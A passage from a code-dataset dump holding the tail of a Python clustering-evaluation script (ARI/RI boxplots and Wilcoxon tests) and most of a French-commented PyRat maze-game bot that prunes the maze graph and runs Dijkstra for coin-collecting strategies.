#data = iris.data \r\n    # data, label_gt =load_data(dataset)\r\n    # n = len(data)  # the number of row\r\n    # d = len(data[0]) #number of features/attributes\r\n\r\n    # C = rng.random((nClusters,d))    #Initialize centers of clusters\r\n    # C, U, labels, obj_fcn = fcm(C,nClusters,2)   #FCM(C,nClusters,m)\r\n\r\n    \r\n    #C=np.zeros(nClusters,d)          #Initialize centers of clusters\r\n    C = rng.random((nClusters,d))   \r\n    \r\n    C, U, labels, obj_fcn = fcm(data,C,nClusters,2)   #FCM(C,nClusters,m)\r\n\r\n    adjusted_rand_score_FCM=adjusted_rand_score(label_gt, labels)\r\n    rand_index_FCM=rand_index_score(label_gt, labels)\r\n    \r\n    RI_fcm[i]=rand_index_FCM\r\n    ARI_fcm[i]=adjusted_rand_score_FCM\r\n    \r\n    \r\n    \r\n\"#Run FCMFP\"\r\nRI_fcmfp=np.zeros((nRuns))\r\nARI_fcmfp=np.zeros((nRuns))\r\n\r\nfor i in range(nRuns):\r\n    data, label_gt =load_data(dataset)\r\n    # Number of samples\r\n    n = len(data)  # the number of row\r\n    d = len(data[0]) #number of features/attributes\r\n    #generate seed for random numbers\r\n    rng = np.random.default_rng(seed=42) #use np.random.default_rng() for random\r\n    \r\n    C = rng.random((nClusters,w))    #Initialize centers of clusters\r\n    \r\n    C, U, labels, obj_fcn, projCenter = fcmfp(data,P, C,nClusters,1,2)   #FCMFP(C,nClusters,zeta,m)\r\n\r\n    \r\n\r\n    adjusted_rand_score_fcmfp=adjusted_rand_score(label_gt, labels)\r\n    rand_index_fcmfp=rand_index_score(label_gt, labels)\r\n    \r\n    RI_fcmfp[i]=rand_index_fcmfp\r\n    ARI_fcmfp[i]=adjusted_rand_score_fcmfp\r\n \r\n\r\n\"#Run GG\"\r\nRI_gg=np.zeros((nRuns))\r\nARI_gg=np.zeros((nRuns))\r\n\r\nfor i in range(nRuns):\r\n    data, label_gt =load_data(dataset)\r\n    # Number of samples\r\n    n = len(data)  # the number of row\r\n    d = len(data[0]) #number of features/attributes\r\n    # #data = iris.data \r\n    # data, label_gt =load_data(dataset)\r\n\r\n    # n = len(data)  # the number of row\r\n    # d = len(data[0]) #number of features/attributes\r\n\r\n    U, C, A,labels, dist, obj_fcn,Pi ,M=gg(data,nClusters,2,init='fcm')  #gg(data,nClusters,m,init='fcm','kmeans++')\r\n\r\n\r\n    \r\n    adjusted_rand_score_gg=adjusted_rand_score(label_gt, labels)\r\n    rand_index_gg=rand_index_score(label_gt, labels)\r\n    \r\n    RI_gg[i]=rand_index_gg\r\n    ARI_gg[i]=adjusted_rand_score_gg\r\n    \r\n\" #Run GGFP\"\r\nRI_ggfp=np.zeros((nRuns))\r\nARI_ggfp=np.zeros((nRuns))\r\n\r\nfor i in range(nRuns):\r\n    data, label_gt =load_data(dataset)\r\n    # Number of samples\r\n    n = len(data)  # the number of row\r\n    d = len(data[0]) #number of features/attributes\r\n    \r\n    #  GGFP(data,P,nClusters,zeta,m,init='fcm','kmeans++')\r\n    C, U, labels, obj_fcn,dist,dist_FP,M,Pi,dist_C,projCenter = ggfp(data,P,nClusters,0.1,3,init='fcm')   \r\n\r\n    adjusted_rand_score_ggfp=    adjusted_rand_score(label_gt, labels)\r\n\r\n    rand_index_ggfp=rand_index_score(label_gt, labels)\r\n    \r\n    RI_ggfp[i]=rand_index_ggfp\r\n    ARI_ggfp[i]=adjusted_rand_score_ggfp\r\n           \r\n    \r\n    \r\n    \r\n    \r\n \r\n\"Plot ARI\"\r\ndata_plot_ARI = [ARI_fcm, ARI_fcmfp, ARI_gg, ARI_ggfp] \r\nfig, ax = plt.subplots(figsize=(12, 7))\r\n# Remove top \r\nax.spines['top'].set_visible(False)\r\n# Add major gridlines in the y-axis\r\nax.grid(color='grey', axis='y', linestyle='-', linewidth=0.25, alpha=0.5)\r\n# Set  names as labels for the boxplot\r\nxlabel = ['FCM',' FCMFP', 'GG',' GGFP'] \r\n# Creating plot\r\nbp = ax.boxplot(data_plot_ARI,labels=xlabel)\r\n# changing color and linewidth of\r\n# medians\r\nfor median in bp['medians']:\r\n    median.set(color ='red',\r\n               linewidth = 2.5)\r\n# Adding title\r\nplt.title(\"ARI Boxplot\") \r\n# show plot\r\nplt.show()\r\n\r\n\r\n\"Plot RI\"\r\ndata_plot_RI = [RI_fcm, RI_fcmfp, RI_gg, RI_ggfp] \r\nfig2, ax2 = plt.subplots(figsize=(12, 7))\r\n# Remove top \r\nax2.spines['top'].set_visible(False)\r\n# Add major gridlines in the y-axis\r\nax2.grid(color='grey', axis='y', linestyle='-', linewidth=0.25, alpha=0.5)\r\n# Set  names as labels for the boxplot\r\nxlabel2 = ['FCM',' FCMFP', 'GG',' GGFP'] \r\n# Creating plot\r\nbp2 = ax2.boxplot(data_plot_RI,labels=xlabel2)\r\n# changing color and linewidth of\r\n# medians\r\nfor median in bp2['medians']:\r\n    median.set(color ='red',\r\n               linewidth = 2.5)\r\n# Adding title\r\nplt.title(\"RI Boxplot\") \r\n# show plot\r\nplt.show()\r\n\r\n\r\n\"Wilcoxon Test\"\r\n#significance level  α = 0.05 (confidence interval of 95%), i.e., if\r\n# p-value < 0.05 it is considered that there is a statistical significant difference among the results being\r\n# there is no statistical significant difference among results,\r\n#otherwise\r\n\r\n            \r\nw, p1 = wilcoxon(ARI_fcm, ARI_fcmfp, zero_method='zsplit')\r\nw, p2 = wilcoxon(ARI_fcm, ARI_gg, zero_method='zsplit')\r\nw, p3 = wilcoxon(ARI_fcm, ARI_ggfp, zero_method='zsplit')\r\nw, p4 = wilcoxon(ARI_fcmfp, ARI_gg, zero_method='zsplit')\r\nw, p5 = wilcoxon(ARI_fcmfp, ARI_ggfp, zero_method='zsplit')\r\nw, p6 = wilcoxon(ARI_gg, ARI_ggfp, zero_method='zsplit')\r\n\r\n\r\n\r\n#Create a dataframe with all the p values\r\nwilcoxon_test = pd.DataFrame.from_dict({\r\n    'FCM,FCMFP': [p1],\r\n    'FCM,GG': [p2],\r\n    'FCM,GGFP': [p3],\r\n    'FCMFP,GG': [p4],\r\n    'FCMFP,GGFP': [p5],\r\n    'GG,GGFP': [p6]\r\n},\r\norient='index', columns=['p'])\r\n\r\n\r\n    \r\n    ","repo_name":"jvalentedeoliveira/OBFC","sub_path":"boxplots.py","file_name":"boxplots.py","file_ext":"py","file_size_in_byte":7327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31417205659","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n####################################################################################################################################################################################################################################\n######################################################################################################## PRE-DEFINED IMPORTS #######################################################################################################\n####################################################################################################################################################################################################################################\n\n# Imports that are necessary for the program architecture to work properly\n# Do not edit this code\n\nimport ast\nimport sys\nimport os\n\n####################################################################################################################################################################################################################################\n########################################################################################################### YOUR IMPORTS ###########################################################################################################\n####################################################################################################################################################################################################################################\nimport time\nimport heapq\nimport copy\nimport random\n\n####################################################################################################################################################################################################################################\n####################################################################################################### PRE-DEFINED CONSTANTS ######################################################################################################\n####################################################################################################################################################################################################################################\n\n# Possible characters to send to the maze application\n# Any other will be ignored\n# Do not edit this code\n\nUP = 'U'\nDOWN = 'D'\nLEFT = 'L'\nRIGHT = 'R'\n\n####################################################################################################################################################################################################################################\n\n# Name of your team\n# It will be displayed in the maze\n# You have to edit this code\n\nTEAM_NAME = \"POKEPYRAT\"\n\n####################################################################################################################################################################################################################################\n########################################################################################################## YOUR CONSTANTS ##########################################################################################################\n####################################################################################################################################################################################################################################\n\n#distance maxi entre deux pièces pour qu'elles forment un paquet.\nOPTIDISTPAQUET = 2\n\n#Constantes pour le voyageur de commerce :\n#taille maxi du trajet prévu, en nombre de pièces\nOPTIMINITCOINNUMBER = 5 # à l'initialisation\nOPTIMTURNCOINNUMBER = 6 # pendant un tour de jeu.\n#7 maxi pendant un tour, réduire si trop gros\n#nombre de pièces mini pour réaliser un voyageur de commerce\nVCPcoinMIN = 2\n#portée de la recherche de la prochaine pièce dans le voyageur de commerce\nOPTISEARCHCOIN = 8\n\n#constantes pour le voyageur de commerce par paquets\n#portée de la recherche du prochain paquet dans le voyageur de commerce par paquets\nOPTISEARCHPAQUET = 7\n#taille maxi du trajet prévu, en nombre de paquets\nOPTICOMMERCEPAQUET = 4\n#nombre de paquets mini pour réaliser un voyageur de commerce par paquets\nMINNUMBEROFPAQUETSFORPAQUETSTRATEGY = 2\n#nombre de pièces mini pour réaliser un voyageur de commerce par paquets\nPAQcoinMIN = 8\n\n#constantes pour le moyenneur (ZON)\nZONcoinMIN = 2\n\n#constantes pour la stratégie fourmis\nANTcoinMIN = 2\nANTEVAP = 0.997\nANT_START_PHERO = 100000\nANT_POW_PATH = 1.5\nANT_POW_VISIBILITY = 3\nANT_POW_PUT_PHERO = 1.5\n\nANT_EFFICACITY = 5\nANT_MUTANT = 0.6\n\nMIN_NUMBER_OF_TURNS_BETWEEN_TWO_CHANGES_OF_DECISIONS = 2\n\n#constantes pour la stratégie glouton\nGLUcoinMIN = 1\n\n#constantes stratégie symétrique\n#number of coins left when exit opponent side\nCOIN_MIN_OPPONENT_SIDE = 10\nVICTORY_CONDITION = 20.5\nSYMcoinMIN = 2\n\n#strat monte carlo\n \n\n\n###################choose the strategy !\nTYPEOFSTRATEGY = 3 #3 = ant\ninit_function = []\nnextmove_function = []\nstrat_function = []\nstrategy_vector = []\n#init_function = [init_VCP, init_PAQ, init_ZON, init_ANT, init_GLU, init_SYM]\n\n####################################################################################################################################################################################################################################\n########################################################################################################## YOUR VARIABLES ##########################################################################################################\n####################################################################################################################################################################################################################################\n\n#variable globales\n\n#est initialisée pendant initialization\nlargeurLabyrinthe =0 #largeur du labyrinthe, sert pour les fonctions pos_toint et int_to_pos\n\n#graphe correspondant à MazeMap sans les impasses, qui sont inintéressantes\nmeta_graphe = {}\n\n#graphe correspondat à mazeMap ne contenant que les pièces et les intersections.\n#c'est à dire on a supprimé les impasses et raccourcis les couloirs\nzone_graphe = {}#on réduit beaucoup le nombre de noeuds, c'est cool !\n\n#variables retenant le résultats de dijkstra dans les points demandés.\n#les clés sont des coordonnées de noeuds du graphe (meta ou zone) (la clé d'un dictionnaire et le genre d'indice que l'on met en entrée du dictionnaire\n#les sorties sont deux variables : la matrice des distances et le routage à partir de la clé.\nmeta_distrout = {}\nzone_distrout = {}\n\n#dictionnaire donnant la distance entre deux pièces\n#la clé est un tuple (coordD'unePièce, coordD'uneAutrePièce).\n#exemple de clé (coin[0],coin[1]) ou ((0,1),(8,6)) ou [(0,1),(8,6)]\ndistcoin = {}\n\n#Variables les plus importantes du programme !\n#liste des pièces qui vont être mangées, dans l'ordre\naimedCoins = [] #aimedCoins[0] est la prochaine pièce à être mangée, aimedCoins[1] la seconde etc...\n#liste des mouvements pour atteindre aimedCoins[0]\ndirectionList = [] \naimedPaquets = []\n\n#Variables relatives aux paquets\n#dictionnaire donnant la distance entre 2 paquets\n#une clé est un tuple  avec le numero de deux paquets\n#exemple de clé : (i,j) avec i <= j ou (4,9) etc...\n#la sortie est une distance (un entier positif correspondant à un nombre de cases entre les deux paquets). Pour le calcul cf la fonciton correspondante\ndistpaquet = {}\n#dictionnaire associant à un noeud son numero de paquet, ie le paquet dans lequel se trouve ce noeud.\n#le numero de paquet varie entre -3 et N, N le nombre de paquets\n#le numero de paquet -3 correspond à la position de l'adversaire (dans un futur proche ce sera les cases visitées par l'adversaire)\n#le numero de paquet -2 correspond aux cases sans paquets\n#le numero de paquet -1 correspond à la position du joueur\n#à partir de 0 ce sont des paquets normaux.\nappartenanceCoin = {}\n#liste des paquets, et des pièces à l'intérieur\n#paquets[j] est une liste de pièces. c'est la liste des pièces du paquet de pièces numero j.\npaquets = []\n#dictionnaire compiqué, je me souviens plus, cf init_territorypaquets\nterritorypaquets = {}\n\n#à chaque tour ces 4 variables vont être mises à jours.\n#Elles donnent la matrice des distances et le routage en partant de la position du joueur et de celle de l'adversaire. Ce sont des informations utiles à chaque tour, d'où l'utilisation de 4 variables globales pour.\nplayerMatriceDistances = []\nplayerMatriceRoutage = []\nopponentMatriceDistances = []\nopponentMatriceRoutage = []\n\npheromones = {}\n\nant_phero = []\nant_pheromones_ways = []\nnbrEvap = 0\nefficiencyMax = [0,[] ]\nlastNumberOfAntsSent = float('inf')\n\nprevious_position = [[],[], 0]\n\nclassificationCoin = {}\n\nresultsSinceBegining = [[0], [0], [0]]\n\nscore = [0,0]\npreviousCoins =[]\n\nnumberOfTurnSinceLastChangeOfDirection = 2\n\n####################################################################################################################################################################################################################################\n####################################################################################################### PRE-DEFINED FUNCTIONS ######################################################################################################\n####################################################################################################################################################################################################################################\n\n# Writes a message to the shell\n# Use for debugging your program\n# Channels stdout and stdin are captured to enable communication with the maze\n# Do not edit this code\n\ndef debug (text) :\n    \n    # Writes to the stderr channel\n    sys.stderr.write(str(text) + \"\\n\")\n    sys.stderr.flush()\n\n####################################################################################################################################################################################################################################\n\n# Reads one line of information sent by the maze application\n# This function is blocking, and will wait for a line to terminate\n# The received information is automatically converted to the correct type\n# Do not edit this code\n\ndef readFromPipe () :\n    \n    # Reads from the stdin channel and returns the structure associated to the string\n    try :\n        text = sys.stdin.readline()\n        return ast.literal_eval(text.strip())\n    except :\n        os._exit(-1)\n\n####################################################################################################################################################################################################################################\n\n# Sends the text to the maze application\n# Do not edit this code\n\ndef writeToPipe (text) :\n    \n    # Writes to the stdout channel\n    sys.stdout.write(text)\n    sys.stdout.flush()\n\n####################################################################################################################################################################################################################################\n\n# Reads the initial maze information\n# The function processes the text and returns the associated variables\n# The dimensions of the maze are positive integers\n# Maze map is a dictionary associating to a location its adjacent locations and the associated weights\n# The preparation time gives the time during which 'initializationCode' can make computations before the game starts\n# The turn time gives the time during which 'determineNextMove' can make computations before returning a decision\n# Player locations are tuples (line, column)\n# Coins are given as a list of locations where they appear\n# A boolean indicates if the game is over\n# Do not edit this code\n\ndef processInitialInformation () :\n    \n    # We read from the pipe\n    data = readFromPipe()\n    return (data['mazeWidth'], data['mazeHeight'], data['mazeMap'], data['preparationTime'], data['turnTime'], data['playerLocation'], data['opponentLocation'], data['coins'], data['gameIsOver'])\n\n####################################################################################################################################################################################################################################\n\n# Reads the information after each player moved\n# The maze map and allowed times are no longer provided since they do not change\n# Do not edit this code\n\ndef processNextInformation () :\n\n    # We read from the pipe\n    data = readFromPipe()\n    return (data['playerLocation'], data['opponentLocation'], data['coins'], data['gameIsOver'])\n\n####################################################################################################################################################################################################################################\n########################################################################################################## YOUR FUNCTIONS ##########################################################################################################\n####################################################################################################################################################################################################################################\n\n############################################################### sous-fonction\n\ndef trou(liste,index):\n    \"\"\"renvoie la liste d'entrée sans l'élément d'index 'index' ie on fait un trou dans la liste\"\"\"\n    return liste[:index] + liste[index+1:]\n\n#nonlinear weight function\ndef f(x, puissance = 2):\n    \"\"\"renvoie x à la fonction puissance, si puissance n'est pas précisé, on renvoie x**2\"\"\"\n    return x**puissance\n    \ndef indexOfMax(liste):\n    maxi = liste[0]\n    indexmaxi = 0\n    for j in range(len(liste)):\n        if liste[j] > maxi:\n            indexmaxi = j\n            maxi = liste[j]\n    return indexmaxi\n\n#apprendre à reconnaitre un glouton, un copieur, ie mémoriser les coups.\n#piéger un copieur, à coté d'une barrière\n#améliorer le choisisseur de dist mini avec un glouton adverse, ou un chemin direct, ou....\n#mieux gérer la disparition des pièces : créer la variable d'interruption\n#faire le branche and bound sur le voyageur de commerce\n#implémenter les tas de fibonacci\n\n#essayer un montecarlo ?\n\n############################################################### heap\n\ndef heapAdd(liste, element, priority):\n    if not len(liste) == 0:\n        i = 0\n        lenght = len(liste)\n        elementPresentBefore = False\n        while liste[i][0] < priority:\n            if liste[i][1] == element:\n                elementPresentBefore = True\n                break\n            i +=1\n            if i == lenght:\n                break\n        j = i\n        if not elementPresentBefore:\n            if i == lenght:\n                liste.append( (priority, element) )\n            else:\n                while i < lenght:\n                    if liste[i][1] == element:\n                        liste.pop(i)\n                        break\n                    i +=1\n                liste = liste[:j]+[(priority, element)] + liste[j:]\n    else :\n        liste = [(priority, element)]\n    return liste\n\ndef heapSuppr(liste):\n    a = liste.pop(0)\n    return a, liste\n\n\n\n############################################################### gestion des données sur le graphe\n\n#abandonnée\ndef update_constantes():\n    #update opticoinnumber\n    global OPTIMTURNCOINNUMBER\n    nombrePlacesAVisiter = min(len(coins), OPTIMTURNCOINNUMBER)\n    #si le nombre de pièce est compris entre 2 et 8\n    if nombrePlacesAVisiter == len(coins) and len(coins) >= VCPcoinMIN and len(coins) <= PAQcoinMIN: # début de l'heuristique\n        #alors on diminue la constante OPTIMTURNCOINNUMBER\n        nombrePlacesAVisiter -= 1\n    # ce qui signifie que on n'optimise jamais un voyageur de commerce pour atteindre la dernière pièce d'un labyrinthe\n    #le but de cet diminution et d'éviter d'aller chercher une pièce complètement isolée  quand il en reste deux qui sont proche à l'autre bout du labyrinthe\n    OPTIMTURNCOINNUMBER = nombrePlacesAVisiter\n\n\ndef deleteImpasse(graphe, node):\n    \"\"\"supprime node de graphe si c'est une impasse\"\"\"\n    #et recommence récursivement  sur le voisin du noeud-impasse\n    #Une impasse est un noeud qui n'a qu'un seul voisin et sur lequel il n'y a pas de pièce.\n    #et aussi qui ne soit ni la position de départ du joueur, ni la position de départ de l'adversaire\n    if (len(graphe[node]) == 1) and (node not in coins) and (not node == playerLocation) and (not node == opponentLocation):\n        #on récupère l'adresse du voisin de l'impasse\n        voisin = graphe[node][0][0]\n        #debug(\"node = \" + str(node) + \"\\nvoisin = \" + str(voisin) + \"\\ngraphe[voisin] = \" + str(graphe[voisin]) + \"\\n\")\n        \n        #on supprime l'impasse parmis la liste des voisins de 'voisin'\n        indexToPop = 0\n        for j in range(len(graphe[voisin])):\n            #debug(str(j) + \" \" + str(graphe[voisin][j]))\n            candidatExpulsion = graphe[voisin][j]\n            if candidatExpulsion[0] == node:\n                indexToPop = j\n        #debug(\"\\nimpasse a suprr = \" + str(node) + \"\\nvoisins de base = \" + str(graphe[node]) + \"\\nvoisin = \" + str(voisin) + \"\\n\" +str(graphe[voisin]) + \"\\n\" )\n        graphe[voisin].pop(indexToPop)\n        \n        #on considère aussi maintenant que l'impasse n'a plus de voisins\n        #le but sera de la supprimer\n        graphe[node] = [] \n        #on relance récursivement cette fonction sur le voisin\n        #cette fonction supprimera le voisin s'il devient une impasse après suppression de 'node'\n        graphe = deleteImpasse(graphe,voisin) # #recursivité\n    return graphe #on met à jour le graphe à la fin, et on le renvoit.\n\ndef supprCouloir(grapheAmodif, noeud):\n    \"\"\"renvoie le graphe sans le couloir dans lequel se trouvait noeud\"\"\"\n    #un noeud-couloir est un noeud qui a seulement 2 voisins, qui ne contient pas de pièce.\n    #et aussi qui ne soit ni la position de départ du joueur, ni la position de départ de l'adversaire\n    #supprimer un couloir consiste en supprimer les noeuds-couloirs entre deux noeuds-intersection (strictement plus de 2 voisins). et de considérer dorénavant que les deux noeuds-intersection sont voisins, avec une distance entre les deux correspondant à la taille du couloir.\n    #on supprime un couloir petit à petit, noeud par noeud.\n    if (len(grapheAmodif[noeud]) == 2) and (noeud not in coins) and (not noeud == playerLocation) and (not noeud == opponentLocation):\n        #on récup les coordonnées des deux voisins du noeud couloir considéré\n        voisin1 = grapheAmodif[noeud][0][0]\n        voisin2 = grapheAmodif[noeud][1][0]\n        dist1 = grapheAmodif[noeud][0][1] #et les distances !\n        dist2 = grapheAmodif[noeud][1][1]\n        \n        #supprime noeud du graphe\n        for x in [voisin1,voisin2]: #on supprime le noeud-couloir des voisins de voisin1 et voisin2\n            #debug(\"\\nnoeud a suprr = \" + str(noeud) + \"\\nvoisins de base = \" + str(grapheAmodif[noeud]) + \"\\nvoisin = \" + str(x) + \"\\n\" +str(grapheAmodif[x]) + \"\\n\" )\n            for j in range(len(grapheAmodif[x])): #pour supprimer le noeud, il faut parcourir la liste des voisins de x,\n                voisindevoisin = grapheAmodif[x][j]\n                if voisindevoisin[0] == noeud:\n                    indiceApop = j\n            grapheAmodif[x].pop(indiceApop) #puis le supprimer après la boucle, quand on a trouvé son indice\n        grapheAmodif[noeud] = [] #ce noeud n'a plus de voisins !\n        \n        #on réajoute les distances\n        grapheAmodif[voisin1].append( (voisin2, dist1 + dist2) )\n        grapheAmodif[voisin2].append( (voisin1, dist1 + dist2) )\n        #on reteste si voisin1 et 2 ne sont pas des couloirs aussi\n        grapheAmodif = supprCouloir(grapheAmodif, voisin1)\n        grapheAmodif = supprCouloir(grapheAmodif, voisin2)\n    return grapheAmodif\n\n\ndef shortenMap(graphe):\n    \"\"\"renvoie le graphe sans impasses\"\"\"\n    shortened_graphe = copy.deepcopy(graphe) #on réalise une copie du graphe pour la modifier\n    for node in graphe: #on parcour tous les noeuds du graphe\n        #on enlève les impasses\n        shortened_graphe = deleteImpasse(shortened_graphe,node)\n        #si le noeud n'a pas de voisins, on le supprime\n        if shortened_graphe[node] == []:\n            del shortened_graphe[node]\n    #debug(\"mazeMap shortened of \" + str(len(mazeMap)-len(shortened_graphe)) + \"nodes\")\n    return shortened_graphe\n\ndef init_graphe_zone(actual_graphe):\n    \"\"\"renvoie le graphe d'entrée sans impasses ni couloirs\"\"\"\n    new_graphe = copy.deepcopy(actual_graphe) #on copie le graphe (à la bien !)\n    \n    #debug(\"copie réussie : \" + str(new_graphe == actual_graphe) )\n    #on le modifie\n    for node in new_graphe:\n        if len(new_graphe[node]) == 2:\n            new_graphe = supprCouloir(new_graphe, node)\n    #on supprime les noeuds qui ne sont plus nécessaires\n    for node in actual_graphe:\n        if len(new_graphe[node]) == 0:\n            del new_graphe[node]\n    debug(\"mazeMap sans impasse ni couloir, economie de : \" + str(len(mazeMap)-len(new_graphe)) + \"nodes\")\n    return new_graphe\n\n############################################################### primitives sur les coordonnées\n\ndef pos_to_int(position):\n    \"\"\"renvoie le numero de noeud, a partir de ses coordonnees\"\"\"\n    global largeurLabyrinthe\n    mazeWidth = largeurLabyrinthe\n    return position[0] + mazeWidth * position[1]\n\ndef int_to_pos(integer):\n    \"\"\"renvoie les coordonnees d'un noeud, a partir du numero de noeud\"\"\"\n    global largeurLabyrinthe\n    mazeWidth = largeurLabyrinthe\n    return (integer%mazeWidth,integer//mazeWidth)\n\ndef adjacentNodes(node, graphe):\n    \"\"\"renvoie la liste des coordonnees des voisins d'un noeud, en fonction du graphe, sans la liste des distances\"\"\" \n    liste = []\n    for neighbourNode in graphe[node]:\n        liste.append(neighbourNode[0])\n    return liste\n\ndef adjacentWay(previousLocation,nextLocation):\n    \"\"\"renvoie la direction pour aller de previousLocation a nextLocation\"\"\"\n    #on fait la différence entre les composantes verticales, et entre les composantes horizontales\n    vertical = nextLocation[0] - previousLocation[0]\n    horizontal = nextLocation[1] - previousLocation[1]\n    if vertical == 1:\n        return DOWN\n    elif vertical == -1:\n        return UP\n    elif horizontal== 1:\n        return RIGHT\n    elif horizontal== -1:\n        return LEFT\n    else :\n        return \"ERROR\"\n\n\ndef pathTracer(finishingNode,startingNode, routage):\n    \"\"\"à partir d'un routage, du noeud d'arrivé visé, donne toutes les cases rencontrées en chemin\"\"\"\n    #on crée la liste des chemins, qui commence avec finishingNode et termine avec startingNode\n    path = []\n    path.append(finishingNode)\n    #debug(str(coins[0]))\n    \n    #tant que le dernier noeud n'est pas startingNode\n    #on récupère le parent du dernier noeud\n    while not path[-1] == startingNode: \n        if type(path[-1]) == int:\n            debug(\"\\n \" + str(path) + \"\\n \"+str(routage))\n        parent = routage[path[-1]]\n        path.append(parent)\n    #debug(\"3\\n\\n\" + str(path)+\"\\n\\n\")\n    return path\n  \n\ndef directionMaker(pathList):\n    \"\"\"à partir d'une liste de cases formant un chemin, on fabrique la liste des décisions à prendre pour atteindre le noeud final\"\"\"\n    directions = [] #on initialise la liste des directions à prendre\n    while not len(pathList) == 1:\n        actualLocation = pathList.pop() #on récupère le dernier élément de pathList\n        #par la même occasion on réduit la taille de pathList, pour arrêter la boucle\n        nextLocation = pathList[-1]\n        nextdirection = adjacentWay(actualLocation, nextLocation)\n        directions.append(nextdirection)\n    #la prochaine direction à choisir en tant que joueur est directions[0]        \n    #debug(str(directions))\n    return directions\n\n############################################################### recherche de pièces\n\n# Dijkstra prend en entrée un nœud initial et un graphe\n# Sa sortie est l'ensemble des longueurs des chemins les plus courts\n# depuis le nœud initial à tous les autres nœuds atteignables dans le graphe\ndef dijkstra(noeud_initial, graphe):\n    routage = [0]*len(mazeMap)\n    time_taken = [0,0]\n    # On défini d'abord les structures de données utiles\n    # distances est le tableau rendu en fin d'algorithme qui contient toutes \n    # les longueurs des chemins minimaux depuis le noeud initial\n    infini = float('inf')\n    distances = [infini] * len(mazeMap)\n    distances[noeud_initial] = 0\n    \n    # L'algorithme de Dijkstra utilise une file de priorité, elle contient\n    # initialement le nœud initial avec sa distance au nœud initial : 0\n    filePriorite = []\n    heapq.heappush(filePriorite, (0,noeud_initial) )\n    \n    initTime = time.time()\n    # Corps de l'algorithme :\n    while not filePriorite == [] :\n        stime = time.time()\n        (distance , noeud_courant) = heapq.heappop(filePriorite)\n        time_taken[0] += time.time() - stime\n        stime = time.time()\n        #pour tout noeud i voisin de noeud_courant:\n        for voisin in graphe[noeud_courant]:\n            dist_par_courant = distance + voisin[1]\n            #i est le numero correspondant aux coordonnées du voisin \n            i = pos_to_int(voisin[0])\n            if dist_par_courant <= distances[i]:\n                distances[voisin[0]] = dist_par_courant\n                routage[voisin[0]] = noeud_courant\n                heapq.heappush(filePriorite, (dist_par_courant,voisin[0]) )\n        time_taken[1] += time.time() - stime\n    debug(\"heappop for \" + str(time_taken[0]/(time_taken[0]+time_taken[1])) + \"%\\nand loop for \" + str(time_taken[1]/(time_taken[0]+time_taken[1])) + \"%\" )\n    debug(\"end of dijkstra in \" + str((time.time() - initTime)*1000)+ \"ms\")\n    # Il nous reste à rendre le résultat \n    return distances,routage\n\ndef dijkstra_self(noeud_initial, graphe):\n    routage = {node:0 for node in graphe.keys()}\n    time_taken = [0,0]\n    # On défini d'abord les structures de données utiles\n    # distances est le tableau rendu en fin d'algorithme qui contient toutes \n    # les longueurs des chemins minimaux depuis le noeud initial\n    distances = {node:float('inf') for node in graphe}\n    distances[noeud_initial] = 0\n    \n    # L'algorithme de Dijkstra utilise une file de priorité, elle contient\n    # initialement le nœud initial avec sa distance au nœud initial : 0\n    filePriorite = []\n    filePriorite = heapAdd(filePriorite, noeud_initial, 0)\n    \n    #initTime = time.time()\n    # Corps de l'algorithme :\n    while not filePriorite == [] :\n        stime = time.time()\n        (distance , noeud_courant), filePriorite = heapSuppr(filePriorite)\n        time_taken[0] += time.time() - stime\n        stime = time.time()\n        #pour tout noeud i voisin de noeud_courant:\n        for voisin in graphe[noeud_courant]:\n            dist_par_courant = distance + voisin[1]\n            #i est le numero correspondant aux coordonnées du voisin \n            if dist_par_courant <= distances[voisin[0]]:\n                distances[voisin[0]] = dist_par_courant\n                routage[voisin[0]] = noeud_courant\n                filePriorite = heapAdd(filePriorite,voisin[0], dist_par_courant)\n        time_taken[1] += time.time() - stime\n    #debug(\"heappop for \" + str(time_taken[0]/(time_taken[0]+time_taken[1])) + \"%\\nand loop for \" + str(time_taken[1]/(time_taken[0]+time_taken[1])) + \"%\" )\n    #debug(\"end of dijkstra in \" + str((time.time() - initTime)*1000)+ \"ms\")\n    # Il nous reste à rendre le résultat \n    return distances,routage\n\ndef getdistrout(startingNode, graphe, outsidezonegraphe = False):\n    \"\"\"renvoie la matrice des distances et la table de routage d'origine startingNode dans le graphe considéré\"\"\"\n    #l'intérêt de cette fonction est de ne pas toujours recalculer \n    \n    #si on est perdu, on se raccroche à mazeMap\n    #if startingNode not in graphe.keys():\n        #result = dijkstra(startingNode, mazeMap)\n    #outsidezonegraphe sert à faire un peu des exceptions\n    #else :\n    #réindenter\n\n    #si on a pas déjà calculé ce chemin avant\n    global meta_distrout\n    if startingNode not in meta_distrout.keys(): \n        #on le cacule et on l'enregistre\n        meta_distrout[startingNode] = dijkstra_self(startingNode, meta_graphe)\n    #et on renvoit le résultat \n    result = meta_distrout[startingNode]\n    return result\n\n\ndef getdistrout_zone(startingNode, graphe, outsidezonegraphe = False):\n    \"\"\"renvoie la matrice des distances et la table de routage d'origine startingNode dans le graphe considéré\"\"\"\n    #l'intérêt de cette fonction est de ne pas toujours recalculer \n    \n    #si on est perdu, on se raccroche à mazeMap\n    if startingNode not in graphe.keys():\n        result = dijkstra(startingNode, mazeMap)\n    #outsidezonegraphe sert à faire un peu des exceptions\n    elif graphe == zone_graphe:\n        #si on a pas déjà calculé ce chemin avant\n        if startingNode not in zone_distrout.keys():\n            #on le cacule et on l'enregistre\n            zone_distrout[startingNode] = dijkstra(startingNode, zone_graphe)\n        #et on renvoit le résultat \n        result = zone_distrout[startingNode]\n    #quand rien va, on affiche la présence d'une erreur\n    else:\n        debug(\"unrecognized graph\")\n        result = \"error\"\n    return result\n\n############################################################### gestion des données sur les pièces\n\ndef updateDistRoutplayers(playerpos, opponentpos):\n    \"\"\"met à jour les quatre variables globales avec les nouvelles valeurs de playerLocation et opponentLocation\"\"\"\n    #à utiliser à l'initialisation et au début de chaque tour.\n    global playerMatriceDistances\n    global playerMatriceRoutage\n    global opponentMatriceDistances\n    global opponentMatriceRoutage\n    #initTime = time.time()\n    if opponentpos != (-1,-1):\n        (opponentMatriceDistances, opponentMatriceRoutage) = getdistrout(opponentLocation, meta_graphe)\n        #debug(\"end of getdistrout in \" + str((time.time() - initTime)*1000)+ \"ms\")\n    \n    (playerMatriceDistances, playerMatriceRoutage) = getdistrout(playerLocation, meta_graphe)\n    \n\n\ndef init_distcoin(startingNode, coins):\n    \"\"\"initialise distcoin le dictionnaire donnant les distances entre toutes les pièces\"\"\"\n    global meta_graphe\n    global distcoin 